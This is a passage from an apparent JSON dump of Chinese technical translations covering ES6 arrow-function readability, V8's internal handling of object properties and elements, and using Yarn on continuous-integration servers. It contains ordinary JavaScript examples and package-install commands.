版本代码仅仅只有 4 行。\n- ES5 版本代码有 21 行（其中真正有代码的有 17 行）。\n- 尽管 ES5 版本的代码更加冗长，但是它比起 ES6 版本的代码来说仍然缺少了一些信息。它虽然长，但是**表达的东西更少**。这个问题在后面会提到。\n- ES6 版本代码在代码中有 2 个 speard 运算符。而 ES5 版本代码中没有这个运算符，而是使用了**意义晦涩**的 `arguments` 对象，它将严重影响函数内容的可读性。（不推荐原因之一）\n- ES6 版本代码在函数片段中定义了 `mix` 的默认值，由此你可以很清楚地看到它是参数的值。而 ES5 版本代码却混淆了这个细节问题，将它隐藏在函数体中。（不推荐原因之二）\n- ES6 版本代码仅有 2 层代码块，这将会帮助读者理解代码结构，以及知道如何去阅读这个代码。而 ES5 代码有 6 层代码块，复杂的层级结构会让函数结构的可读性变得很差。（不推荐原因之三）\n\n在 ES5 版本代码中，`pipe()` 占据了函数体的大部分内容——要把它们放到同一行中去简直是个荒唐的想法。非常**有必要**将 `pipe()` 这个函数单独抽离出来，让我们的 ES5 版本代码更具有可读性：\n\n```\nvar pipe = function () {\n  var fns = [].slice.call(arguments);\n\n  return function (x) {\n    return fns.reduce(function (acc, fn) {\n      return fn(acc);\n    }, x);\n  };\n};\n\nvar composeMixins = function () {\n  var mixins = [].slice.call(arguments);\n\n  return function (instance, mix) {\n    if (!instance) instance = {};\n    if (!mix) mix = pipe;\n\n    return mix.apply(null, mixins)(instance);\n  };\n};\n```\n\n这样，我觉得它更具可读性，并且更容易理解它的意思了。\n\n让我们看看如果我们对 ES6 版本代码做一些可读性“优化”会怎么样：\n\n```\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);\n\nconst composeMixins = (...mixins) => (\n  instance = {},\n  mix = pipe\n) => mix(...mixins)(instance);\n```\n\n就像 ES5 版本代码的优化一样，这个“优化”后的代码更加冗长（它加入了之前没有的新变量）。与 ES5 版本代码不同，这个版本在将管道的概念抽象出来后**并没有明显的提高代码可读性**。不过毕竟函数里已经清楚的写明了 `mix` 这个变量，它还是更容易让人理解一些。\n\n`mix` 的定义本身在它的那一行就已经存在了，它不太可能会让阅读代码的人找不到何时结束 `mix`、剩下的代码何时执行。\n\n而现在我们用了 2 个变量来表示同一个东西。我们因此而获益了吗？完全没有。\n\n那么为什么 ES5 函数在对函数进行抽象之后会变得**更具可读性**呢？\n\n因为之前 ES5 版本的代码**明显更复杂**。这种复杂度的来源是我们讨论的问题重点。我可以断言，它的复杂度的来源归根结底就是**语法干扰**，这种语法干扰只会让**函数的本身含义变得费解**，并没有别的用处。\n\n让我们换种方法，把一些多余的变量去掉，在例子中都使用 ES6 代码，只比较**箭头函数**与**传统函数表达式**：\n\n```\nvar composeMixins = function (...mixins) {\n  return function (\n    instance = {},\n\n    mix = function (...fns) {\n      return function (x) {\n        return fns.reduce(function (acc, fn) {\n          return fn(acc);\n        }, x);\n      };\n    }\n  ) {\n    return mix(...mixins)(instance);\n  };\n};\n```\n\n现在，至少我觉得它的可读性显著的提升了。我们利用 **rest** 语法以及**默认参数**语法对它进行了修改。当然，你得对 rest 语法和默认参数语法很熟悉才会觉得这个版本的代码更可读。不过即使你不了解这些，我觉得这个版本也会看起来更加**有条理**。\n\n现在已经改进了许多了，但是我觉得这个版本还是比较简洁。将 `pipe()` 抽象出来，写到它自己的函数里可能会**有所帮助**：\n\n```\nconst pipe = function (...fns) {\n  return function (x) {\n    return fns.reduce(function (acc, fn) {\n      return fn(acc);\n    }, x);\n  };\n};\n\n// 传统函数表达式\nconst composeMixins = function (...mixins) {\n  return function (\n    instance = {},\n    mix = pipe\n  ) {\n    return mix(...mixins)(instance);\n  };\n};\n```\n\n这样是不是更好了？现在 `mix` 只占了单独的一样，函数结构也更加的清晰——但是这样做不符合我的胃口，它的语法干扰实在是太多了。在现在的 `composeMixins()` 中，我觉得描述一个函数在哪结束、另一个函数从哪开始还不够清楚。\n\n除了调用函数体之外，`funcion` 这个关键字似乎和其它的代码**混淆**在一起了。我的函数的真正的功能被**隐藏**了起来！参数的调用和函数体的起始到底在哪里？如果我仔细看也能够分析出来，但是它对我来说实在是不容易阅读。\n\n那么如果我们去掉 `function` 这个关键字，然后通过一个**大箭头** `=>` 指向返回值来代替 `return` 关键字，避免它们和其它关键部分混在一起，现在会怎么样呢？\n\n我们当然可以这么做，代码会是这样的：\n\n```\nconst composeMixins = (...mixins) => (\n  instance = {},\n  mix = pipe\n) => mix(...mixins)(instance);\n```\n\n现在应该可以很清楚这段代码做了什么事了。`composeMixins()` 是一个函数，它传入了任意数量的 `mixins`，最终会返回一个得到两个额外参数（`instance` 与 `mix`）的函数。它返回了通过 `mixins` 管道组合的 `instance` 的结果。\n\n还有一件事……如果我们对 `pipe()` 进行同样的优化，可以神奇地将它写到一行中：\n\n```\nconst pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);\n```\n\n当它在一行内被定义的时候，将它抽象成一个函数这件事反而变得不那么明了了。\n\n另外请记住，这个函数在 Lodash、Ramda 以及其它库中都有用到，但是仅仅为了用这个函数就去 import 这些库并不是一件划得来的事。\n\n那么我们自己写一行这个函数有必要吗？应该有的。它实际上是两个不同的函数，把它们分开会让代码更加清晰。\n\n另一方面，如果将其写在一行中，当你看参数命名的时候，你就已经明了了其类型以及用例。我们将它写在一行，就如下面代码所示：\n\n```\nconst composeMixins = (...mixins) => (\n  instance = {},\n  mix = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)\n) => mix(...mixins)(instance);\n```\n\n现在让我们回头看看最初的函数。无论我们后面做了什么调整，**我们都没有丢弃任何本来就有的信息**。并且，通过在行内声明变量和默认值，我们还给这个函数**增加了信息量**，描述了这个函数是怎么使用的以及参数值是什么样子的。\n\nES5 版本中增加的额外的代码其实都是语法干扰。这些代码对于**熟悉**柯里化箭头函数的人来说**没有任何有用之处**。\n\n只要你熟悉柯里化箭头函数，你就会觉得最开头的代码更加清晰并具有**可读性**，因为它没有多余的语法糊弄人。\n\n柯里化箭头函数还能**减少错误的藏身之处**，因为它能让 bug 隐藏的部分更少。我猜想，在传统函数表达式中一定隐藏了许多的 bug，一旦你升级使用箭头函数就能找到并排除这些 bug。\n\n我希望你的团队也能支持、学习与应用 ES6 的更加简洁的代码风格，提高工作效率。\n\n有时，在代码中详细地进行描述是正确的行为，但通常来说，代码越少越好。如果更少的代码能够实现同样的东西，能够传达更多的信息，不用丢弃任何信息量，那么它**明显**更加优越。认知这些不同点的关键就是看它们表达的信息。如果加上的代码没有更多的意义，那么这种代码就不应该存在。这个道理很简单，就和自然语言的风格规范一样（不说废话）。将这种表达风格规范应用到代码中。拥抱它，你将能写出更好的代码。\n\n一天过去，天色已黑，仍然有其它推特的回复在说 ES6 版本的代码更加缺乏可读性：\n\n[![Markdown](http://i2.muimg.com/1949/4287b75aa0b58a9d.png)](https://twitter.com/blakenewman)\n\n我只想说：是时候熟练去掌握 ES6、柯里化与组合函数了。\n\n### 下一步 ###\n\n[“与 Eric Elliott 一起学习 JavaScript”](https://ericelliottjs.com/product/lifetime-access-pass/)会员现在可以看这个大约 55 分钟的视频课程——[ES6 柯里化与组合](https://ericelliottjs.com/premium-content/es6-curry-composition/)。\n\n如果你还不是我们的会员，你可会遗憾地错过这个机会哦！\n\n[![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)](https://ericelliottjs.com/product/lifetime-access-pass/) \n\n### 作者简介\n\n***Eric Elliott*** 是 O'Reilly 出版的[*《Programming JavaScript Applications》*](http://pjabook.com)书籍、[“与 Eric Elliott 学习 JavaScript”](http://ericelliottjs.com/product/lifetime-access-pass/)课程作者。他曾经帮助 Adobe、莱美、华尔街日报、ESPN、BBC 进行软件开发，以及帮助 Usher、Frank Ocean、Metallica 等著名音乐家做网站。\n\n最后~~喂狗粮~~：\n\n**他与世界上最美丽的女人在旧金山湾区共度一生。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/fast-properties-in-v8.md",
    "content": "\n> * 原文地址：[Fast Properties in V8](https://v8project.blogspot.jp/2017/08/fast-properties.html)\n> * 原文作者：[Camillo Bruni](https://plus.google.com/115597567207091386344)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/fast-properties-in-v8.md](https://github.com/xitu/gold-miner/blob/master/TODO/fast-properties-in-v8.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[dearpork](https://github.com/dearpork)、[薛定谔的猫](https://github.com/Aladdin-ADD)\n\n# V8 引擎怎样对属性进行快速访问\n\n在这篇文章中我将要解释 V8 引擎内部是如何处理 JavaScript 属性的。从 JavaScript 的角度来看，属性们区别并不大，JavaScript 对象表现形式更像是字典，字符串作为键，任意对象作为值。[ECMAScript 语言规范](https://tc39.github.io/ecma262/#sec-ordinaryownpropertykeys) 中，对象的数字索引和其他类型索引在规范中没有明确区分，但是在 V8 引擎内部却不是这样的。除此之外，不同属性的行为基本相同，和他们可不可以进行整数索引没有关系。\n\n然而在 V8 引擎中属性的不同表现形式确实会对性能和内存有影响，在这篇文章中我们来解析 V8 引擎是如何能够在动态添加属性时进行快速的属性访问的，理解属性是如何工作的，以解释 V8 引擎是如何的优化，（例如 [内联缓存](http://mrale.ph/blog/2012/06/03/explaining-js-vms-in-js-inline-caches.html) ）。\n\n这篇文章解释了处理整数索引属性和命名属性的不同之处，之后我们展示了 V8 中是如何为了提供一个快速的方式定义一个对象的模型在添加一个命名属性时使用 HiddenClasses。然后，我们将继续深入了解如何根据使用情况进行属性名的命名优化，以便能够快速访问或者快速修改。在最后一节中，我们介绍 V8 如何处理整数索引属性或数组索引的详细信息。                                    \n\n## 命名属性和元素\n\n让我们从分析一个非常简单的对象开始，比如：`{a: \"foo\", b: \"bar\"}`。这个对象有两个命名属性，`\"a\" 和 \"b\"`。它没有使用任何的整数索引作为属性名。我们也可以使用索引访问属性，特别是对象为数组的情况。例如，数组 `[\"foo\", \"bar\"]` 有两个可以使用数组索引的属性：索引为 0 的值是 `\"foo\"`，索引为 1 的值是 `\"bar\"`。\n\n这是 V8 一般处理属性的第一个主要区别。\n\n下图显示了一个 JavaScript 的基本对象在内存中的样子。\n![](https://2.bp.blogspot.com/-85h60IlpPP0/WaZyqIVb4BI/AAAAAAAABVo/07d2HYCaz8ojd3e6w2mmtls3jYPlzc7SwCEwYBhgL/s640/V8%2BBlog%2BPost%2BProperties%2B%25281%2529V8%2BBlog%2BPost%2BProperties%2B%25281%2529-opt.png)\n\n元素和属性存储在两个独立的数据结构中，这使得使用不同的模式添加和访问属性和元素将会更加高效。\n\n元素主要用于各种 [Array.prototype methods](https://tc39.github.io/ecma262/#sec-properties-of-the-array-prototype-object) 例如 `pop` 或 `slice`。考虑到这些函数是在连续范围存储区域内访问属性的，V8 引擎内部大部分情况下也将他们表示为简单的数组。稍后我们将解释如何使用一个稀疏的基于字典的表示来节省内存。\n\n命名属性的存储类似于稀疏数组的存储。然而，与元素不同，我们不能简单的使用键推断其在属性数组中的位置，我们需要一些额外的元数据。在 V8 中，每一个 JavaScript 对象都有一个相关联的 `HiddenClass`。这个 `HiddenClass` 存储了一个对象的模型信息，在其他方面，有一个从属性名到属性索引映射。我们有时使用一个字典来代替简单的数组。我们专门会在一个章节中更详细地解释这一点。\n\n**本节重点:**\n\n- 数组索引属性存储在单独的元素存储区中。\n- 命名属性存储在属性存储区中。\n- 元素和属性可以是数组或字典。\n- 每个 JavaScript 对象有一个和对象的模型相关联的 `HiddenClass` 。\n\n## HiddenClasses 和描述符数组\n\n在介绍了元素和命名属性的大致区别之后，我们需要来看一下 HiddenClasses 在 V8 中是怎么工作的。HiddenClass 存储了一个对象的元数据，包括对象和对象引用原型的数量。HiddenClasses 在典型的面向对象的编程语言的概念中和“类”类似。然而，在像 JavaScript 这样的基于原型的编程语言中，一般不可能预先知道类。因此，在这种情况下，在 V8 引擎中，HiddenClasses 创建和更新属性的动态变化。HiddenClasses 作为一个对象模型的标识，并且是 V8 引擎优化编译器和内联缓存的一个非常重要的因素。通过 HiddenClass 可以保持一个兼容的对象结构，这样的话实例可以直接使用内联的属性。\n\n让我们来看一下 HiddenClass 的重点\n\n![](https://3.bp.blogspot.com/-DOwcud2emlM/WaZyqD5ijnI/AAAAAAAABVo/qM1VSAAvGb8UdkSDR7voqnsl7PPyP83nwCEwYBhgL/s640/V8%2BBlog%2BPost%2BProperties%2B%25283%2529V8%2BBlog%2BPost%2BProperties%2B%25283%2529-opt.png)\n\n在 V8 中，JavaScript 对象的第一部分就是指向 HiddenClass。（实际上，V8 中的任何对象都在堆中并且受垃圾回收器管理。）在属性方面，最重要的信息是第三段区域，它存储属性的数量，以及一个指向描述符数组的指针。描述符数组包含有关命名属性的信息，如名称本身和存储值的位置。注意，我们不在这里跟踪整数索引属性，因此描述符数组中没有整数索引的条目。\n\n关于 HiddenClasses 的基本假设是对象具有相同的结构，例如，相同的顺序对应相同的属性，共用相同的 HiddenClass。当我们给一个对象添加一个属性的时候我们使用不同的 HiddenClass 实现。在下面的例子中，我们从一个空对象开始并且添加三个命名属性。\n\n![](https://2.bp.blogspot.com/-QryvU5yH54E/WaZypyDcL5I/AAAAAAAABVo/7A7nQTGpHnYh3nj2Z1ycEzKJMzMaASQ0ACEwYBhgL/s640/V8%2BBlog%2BPost%2BProperties%2B%25282%2529V8%2BBlog%2BPost%2BProperties%2B%25282%2529-opt.png)\n\n每次加入一个新属性时，对象的 HiddenClass 就会改变，在 V8 引擎的后台会创建一个将 HiddenClass 连接在一起的转移树。V8 引擎就知道你添加的 HiddenClass 是哪一个了，例如，属性 “a” 添加到一个空对象中，如果你以相同的顺序添加相同的属性，这个转化树会使用相同的 HiddenClass。下面的示例表明，即使在两者之间添加简单的索引属性，我们也将遵循相同的转换树。\n\n![](https://1.bp.blogspot.com/-T2N4cAFYhH4/WaZz-dXh50I/AAAAAAAABV0/7TuUAyt5zUoTnLK-ESMHpY4YS44_lwAPwCEwYBhgL/s640/8.opt.png)\n\n**本节重点：**\n\n- 结构相同的对象（相同的顺序对于相同的属性）有相同的 HiddenClasses。\n- 默认情况下，每添加一个新的命名属性将产生了一个新的 HiddenClasses。\n- 增加数组索引属性并不创造新 HiddenClasses。\n\n## 三种不同的命名属性\n\n在概述了 V8 引擎是如何使用 HiddenClasses 来追踪对象的模型之后，我们来看一下这些属性实际上是如何储存的。正如上面介绍所介绍的，有两种基本属性：命名属性和索引属性。以下部分是命名属性:\n\n一个简单的对象，例如 `{a: 1, b: 2}` 在 V8 引擎的内部有多种表现形式，虽然 JavaScript 对象或多或少的和外部的字典相似，V8 引擎仍然试图避免和字典类似因为他们妨碍某些优化，例如 [内联缓存](https://en.wikipedia.org/wiki/Inline_caching)，我们将在一篇单独的文章中解释。\n\n**In-object 属性和一般属性：** V8 引擎支持直接储存在所谓的 In-object 的属性。这些是 V8 引擎中可用的最快速的属性，因为他们可以直接访问。In-object 属性的数量是由对象的初始大小决定的。如果在对象中添加超出存储空间的属性，那么他们会储存在属性存储区中。属性存储多了一层间接寻址但这是独立的区域。\n\n![](https://4.bp.blogspot.com/-d2tpi7Ag4Xc/WaZyrJLvHoI/AAAAAAAABVo/ckwdEeuj0asJWRwVcNfLNX8b_9V5uOdvACEwYBhgL/s640/V8%2BBlog%2BPost%2BProperties%2B%25285%2529V8%2BBlog%2BPost%2BProperties%2B%25285%2529-opt.png)\n\n**快属性 VS 慢属性：** 下一个重要的区别来自于快属性和慢属性。通常，我们将存储在线性属性存储区域的属性称为快属性。快属性仅通过属性存储区的索引访问，为了在属性存储区的实际位置得到属性的名字，我们必须通过在 HiddenClass 中的描述符数组。  \n\n![](https://1.bp.blogspot.com/-5koeeNOIEAA/WaZ1GIxOgcI/AAAAAAAABWE/pVHJMYKV2oAdLVnOH7mJS4CcOnsGr5GngCEwYBhgL/s640/10-opt.png)\n\n然而，从一个对象中添加或删除多个属性，会为了保持描述符数组和 HiddenClasses 而产生大量的时间和内存的开销。因此，V8 引擎也支持所谓的慢属性，一个有慢属性的对象有一个自包含的字典作为属性存储区。所有的属性元数据都不再存储在 HiddenClass 的描述符数组而是直接在属性字典。因此，属性可以添加和删除不更新的 HiddenClass。由于内联缓存不使用字典属性，后者通常比快速属性慢。\n\n**本节重点：**\n\n1. 有三种不同的命名属性类型：对象、快字典和慢字典。\n\n- 在对象属性中直接存储在对象本身上，并提供最快的访问速度。\n- 快属性存储在属性存储区，所有的元数据存储在 HiddenClass 的描述符数组中。\n- 慢属性存储在自身的属性字典中，元数据不再存储于 HiddenClass。\n\n2. 慢属性允许高效的属性删除和添加，但访问速度比其他两种类型慢。\n\n## 元素或数组索引属性\n\n到目前为止，我们已经了解了命名属性，在研究的过程中忽略数组中常用的整数索引属性。处理整数索引属性并不比命名属性简单。虽然所有的索引属性总是单独存放在元素存储中，但是有 20 种不同类型的元素！\n\n**元素是连续的还是有缺省的：** V8 引擎的第一个主要区别是元素在存储区是连续的还是有缺省的。如果删除索引元素，或者在不定义索引元素的情况下，就会在存储区中有一个缺省。一个简单的例子是 `[1,,3]`，第二个位置缺省。下面的例子说明了这个问题：\n\n```\nconst o = [\"a\", \"b\", \"c\"];\nconsole.log(o[1]);          // 打印 \"b\".\n\ndelete o[1];                // 删除一个属性.\nconsole.log(o[1]);          // 打印 \"undefined\"; 第二个属性不存在\no.__proto__ = {1: \"B\"};     // 在原型上定义第二个属性\n\nconsole.log(o[0]);          // 打印 \"a\".\nconsole.log(o[1]);          // 打印 \"B\".\nconsole.log(o[2]);          // 打印\nconsole.log(o[3]);          // 打印 undefined\n```\n\n![](https://4.bp.blogspot.com/-IYamXWTAJWc/WaZ0hiBb5VI/AAAAAAAABV8/9BRrrSGMsxkJkjtH2bEqw2qg_UszfNBBACEwYBhgL/s400/9-opt.png)\n\n简言之，如果接收器上不存在属性，我们必须继续在原型链上查找。如果元素是自包含的，我们不在 HiddenClass 中存储有关当前索引的属性，我们需要一个特殊的值，称为 `the_hole`，来标记该位置的属性是不存在的。这个数组函数的性能是至关重要的。如果我们知道有没有缺省，即元素是连续的，我们可以不用昂贵代价来查询原型链来进行本地操作。\n\n**快速元素和字典元素:** 元素的第二个主要区别是它们是快速的还是字典模式的。快速元素是简单的 VM 内部数组，其中属性索引映射到元素存储区中的索引。然而，这种简单的表示在稀疏数组中是相当浪费的。在这种情况下，我们使用基于字典的表示来节省内存，以访问速度稍微慢一些为代价：\n```\nconst sparseArray = [];\nsparseArray[1 << 20] = \"foo\"; // 使用字典元素创建一个数组。\n```\n\n在这个例子中，如果分配一个 10K 的全排列会更浪费。所以取而代之的是 V8 创建的一个字典，我们在其中存储三个一模一样的键值描述符。本例中的键为 10000，值为“字符串”还有一个默认描述符。因为我们没有办法在 HiddenClass 存储区描述细节，在 V8 中 当你定义一个索引属性与自定义描述符存储在慢元素中：\n\n```\nconst array = [];\nObject.defineProperty(array, 0, {value: \"fixed\", configurable});\nconsole.log(array[0]);      // 打印 \"fixed\".\narray[0] = \"other value\";   // 不能重新第 1 个索引.\nconsole.log(array[0]);      // 仍然打印 \"fixed\".\n```\n\n在这个例子中，我们在数组上添加了一个 `configurable` 为 `false` 的属性。此信息存储在慢元素字典三元组的描述符部分中。需要注意的是，在慢元素对象上，数组函数的执行速度要慢得多。\n\n**小整数和双精度元素：** 对于快速元素，V8中还有另一个重要的区别。例如，如果你只保存整数数组，一个常见的例子：GC 没有接受数组，因为整数直接编码为所谓的小整数（SMIS）。另一个特例是数组，它们只包含双精度数。不像SMIS，浮点数通常表示为对象占用的几个字符。然而，V8 使用两行来存储纯双精度组，以避免内存和性能开销。下面的示例列出了 SMI 和双精度元素的 4 个示例：\n\n```\nconst a1 = [1,   2, 3];  // Smi Packed\nconst a2 = [1,    , 3];  // Smi Holey, a2[1] reads from the prototype\nconst b1 = [1.1, 2, 3];  // Double Packed\nconst b2 = [1.1,  , 3];  // Double Holey, b2[1] reads from the prototype\n```\n\n**特别的元素:** 到目前为止，我们涵盖了 20 种不同元素中的 7 种。为简单起见，我们排除了 9 元种 数组类型，两个字符串包装等等，两个参数对象。\n\n**ElementsAccessor:** 你可以想象我们并不想为了每一种元素在 C++ 中写 20 次数组函数。这就是 C++ 的奇妙之处。为了代替一次又一次数组函数的实现，我们在从后备存储访问元素建立了 ElementsAccessor 。ElementsAccessor 依赖 CRTP 创建每一个数组函数的专业版。所以，如果你调用数组中的一些方法例如 slice，将通过调用 V8 引擎的内部调用内置 C++ 编写的，ElementsAccessor 的专业版：\n\n![](https://3.bp.blogspot.com/-VZ1f0pKwu9g/WaZyrpJ-2qI/AAAAAAAABVo/UZp0rgWPM_QorIHTDBHJCvYUVhnND8DlQCEwYBhgL/s640/V8%2BBlog%2BPost%2BProperties%2B%25287%2529V8%2BBlog%2BPost%2BProperties%2B%25287%2529-opt.png)\n\n**本节重点：**\n\n- 有快速模式和字典模式索引属性和元素。\n- 快速属性可以被打包并且他们可以包含被删除索引属性缺省的标志。\n- 数组元素类型固定，以加速数组函数并减少 GC 开销，方便引擎优化。\n\n了解属性如何工作是在 V8 中许多优化的关键。对于 JavaScript 开发人员来说，这些内部决策中有很多是不可见的，但它们解释了为什么某些代码模式比其他代码模式更快。更改属性或元素类型通常让 V8 创造不同的 HiddenClass，[阻碍 V8 优化的原因](http://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html)。敬请期待我以后的文章：V8 引擎 VM 内部是如何工作的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/faster-more-reliable-ci-builds-with-yarn.md",
    "content": "> * 原文地址：[Faster, More Reliable CI Builds with Yarn](https://medium.com/javascript-scene/faster-more-reliable-ci-builds-with-yarn-7dbc0ef31580#.8jbyo2k64)\n* 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Gnakoaix](https://github.com/xuxiaokang)，[鳗鱼鱼](https://github.com/cyseria)\n\n# Yarn 更快更可靠的 CI 创建工具\n\n\n你可能听说过 Yarn ，它剑指苍穹，要做成一个更快、更可靠的 npm 客户端。能够更快的在本地安装扩展包的确很棒，但是为了真正能够使用 Yarn 到淋漓尽致，你最好在持续继集成务器上使用它。\n\n当配合一台持续集成服务器使用时，Yarn 能够减少因为各式各样的安装包的解析方式不同导致的随机 CI 错误。\n\n由于安装缓慢和 CI 产生的随机错误会降低整个团队的开发效率，它们将会成倍地给你的团队拖后腿。随机错误的出现甚至比安装缓慢更令人沮丧，因为一旦出错，你必须要确定是程序出现了 BUG 还是扩展包的问题。知之非难，行之不易。\n\nYarn 来拯救你了！\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*m6zlwvyKm9BPeFQCKvGQEQ.png)\n\n\n\n\n\n### Yarn 误区\n\n*   一种新的 npm 资源管理器\n\nYarn 并不是 npm 的包资源管理器的替代，它也并非是一款有竞争力的扩展包生态管理库，所以它不会重蹈 Bower 惨败的覆辙。\n\nYarn 是一款与 npm 包管理协同工作的软件。\n\n### Yarn 正解\n\n*   安装更快。\n*   确定的依赖管理 — 通过 `yarn.lock`，你能够每次都获取到相同安装位置相同版本的包文件。\n\n### 转战 Yarn\n\nYarn 刚刚发布的时候，我马上意识到它可能会非常有价值，但是我仍然按兵不动，想看看它是否真的实现了当时吹下的牛逼。\n\n后来越来越多的人说 Yarn 很好用，我才决定要在一款应用中使用它。\n\n#### 安装 Yarn\n\nYarn 团队建议像安装原生应用那样安装 Yarn，**而我建议你完全可以不看他们的安装文档**。\n\nYarn 没有 Mac 的原生安装包，所以他们推荐在 Mac 上使用 Homebrew。除非你已经用 Homebrew 安装了 Node（其实我并不推荐这样做 — 使用 [nvm](https://github.com/creationix/nvm) 能减少很多麻烦，也能自由地切换版本），**否则不要用 Homebrew 来安装 Yarn**.\n\nHomebrew 安装的同时也会安装 Node，它会将全局的 `node` 和 `npm` 命令添加到 Homebrew 路径中，并且会破坏你原本的 Node 的安装。\n\n另外，由于 Homebrew 路径的依赖管理问题，如果你升级 macOS 到最新版，它将会打乱 `usr/local` 的权限从而破坏 Homebrew ，因此你还需要整理这团乱麻。\n\n**幸亏还有更好的选择：**\n\n    npm install -g yarn\n\n好处：当你搭建 CI 服务器的时候，你同样需要 `npm` ，所以你可以**使用相同的方法安装** `yarn` **在任何你需要的地方**。\n\n很讽刺吧，是的：我确实建议你安装一个 JavaScript 包管理工具来安装新的 JavaScript 包管理工具。我确信，这也是 Yarn 团队建议在 Mac 上使用 Homebrew 安装的真正原因，是为了避免这种稍稍有点尴尬的讽刺的事情。但是相信我：\n\n> `npm` 对于有经验的 JavaScript 开发者来说，这是最简单最好的安装 Yarn 的方式。\n\nYarn 团队会告诉你 OS 原生包依赖管理工具才是最好的方式，因为它会记录你所有的包依赖关系。我了解这种关系，但事实上**这只在 Linux 系统下才支持**。**况且 Homebrew 并不是 macOS 原生的包依赖管理工具，它并不会也不应该管理你所有的应用依赖。**\n\nYarn 最主要的依赖是 Node，并且 **Homebrew 并不是安装 Node 的最好的方式**。既然如此，我们为什么还要用 Homebrew 去管理 Yarn 的依赖关系呢？\n\nWindows 下那又是别有洞天了，由于我并不了解，所以我暂不评论 Windows 下的安装如何。\n\n你知道什么包管理软件能够在Mac、Windows和Linux下用法相同却没有跨平台的烦恼呢？ **npm**。\n\n### 使用 Yarn\n\n有一些你需要识记的命令，简而言之：\n\n**添加依赖**\n\n`yarn add `\n\n**添加开发依赖**\n\n`yarn add --dev `\n\n**移除依赖**\n\n`yarn remove `\n\n**安装**\n\n`yarn` **（安装是默认行为）**\n\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*FdFjSsPAyHmg1nft-VuqSw.gif)\n\n\n\n\n\n以上是你大部分时候会用到的。\n\n### 锁定文件\n\nYarn 非常神奇地用 `yarn.lock` 文件解决了确定的依赖关系，它应该是一种更加可靠的 `npm shrinkwrap` 的形式。关键的区别就是 npm 的安装算法并不是确定的，甚至是压缩算法，而 Yarn 的算法是确定的。这意味着使用同一个锁定文件，你在这台机器上的安装将会和在另一台机器上的安装完全相同。\n\n> 不要在 git 中忽略 yran.lock ，它的存在就是为了保证确定的依赖关系，从而避免 “works on my machine” 的错误。\n\n为了让锁定文件能够大显神通，**你必须在 git 中 check 它**。\n\n### 搭建持续集成服务\n\n正如我在安装阶段所提到的那这样，你可以用 `npm install -g yarn` 方式安装 yarn ，这种方式能够在大多数 CI 服务器上运行。以下是 Travis-CI users 的一个 `.travis.yml`例子：\n\n    language: node_js\n    node_js:\n      - \"6\"\n    env:\n      - CXX=g++-4.8\n    addons:\n      apt:\n        sources:\n          - ubuntu-toolchain-r-test\n        packages:\n          - g++-4.8\n    before_install:\n      - npm install -g yarn --cache-min 999999999\n    install:\n      - yarn\n\n\n\n### 实际上 Yarn 到底如何工作？\n\n如果你非常好奇 yarn 安装到底有多快，以下是我在应用中测试安装 from-scratch 的数据：\n\n**使用 npm:**\n\n    $ time npm install\n    0m30.193s\n\n**使用 Yarn:**\n\n    $ time yarn\n    0m44.835s\n\n**哦！**\n\nYarn 的主要的卖点就在于它要比 npm 更快，但是在我的项目实测中，它实际上**在从 scratch 安装依赖的时候更慢了**。\n\n那么添加新的依赖呢？\n\n**使用 npm:**\n\n    $ time npm install lodash\n    0m6.204s\n\n**使用 Yarn:**\n\n    $ time yarn add lodash\n    0m2.948s\n\nOK，这才像点样子。我一直还在担心 from-scratch 的安装时间，但是现在，利用 yarn 添加扩展包大概**比 npm 快了两倍**。\n\n显然，from-scrath 的安装仍然有很大的提升空间（这决定了你的 CI 的安装速度），但是我已经很满意了。\n\n且对它持半信半疑的态度，因为这些结果可能会因系统、版本等因素而有不同。\n\n### 小结\n\n迄今为止，我对 Yarn 的体验**大部分情况下都很好**。\n\n我仅仅是刚开始在产品中测试，所以我不能很自信地对其稳定性论及一二，但是我抱以乐观的心态。\n\n如果 Yarn 能够证明如万众期待的那样，它将会节省你的团队非常多的时间。但是到目前为止，我得到的结果也良莠不齐。\n\n#### 你是不是也应该使用 Yarn ？\n\n让我现在很绝对地说是有点太早了，但是我将会乐观地给予它鼓励性的肯定。我非常支持 Yarn 团队能够在后续的时间里解决问题并不断做出改进。\n"
  },
  {
    "path": "TODO/faster-photos-in-facebook-for-ios.md",
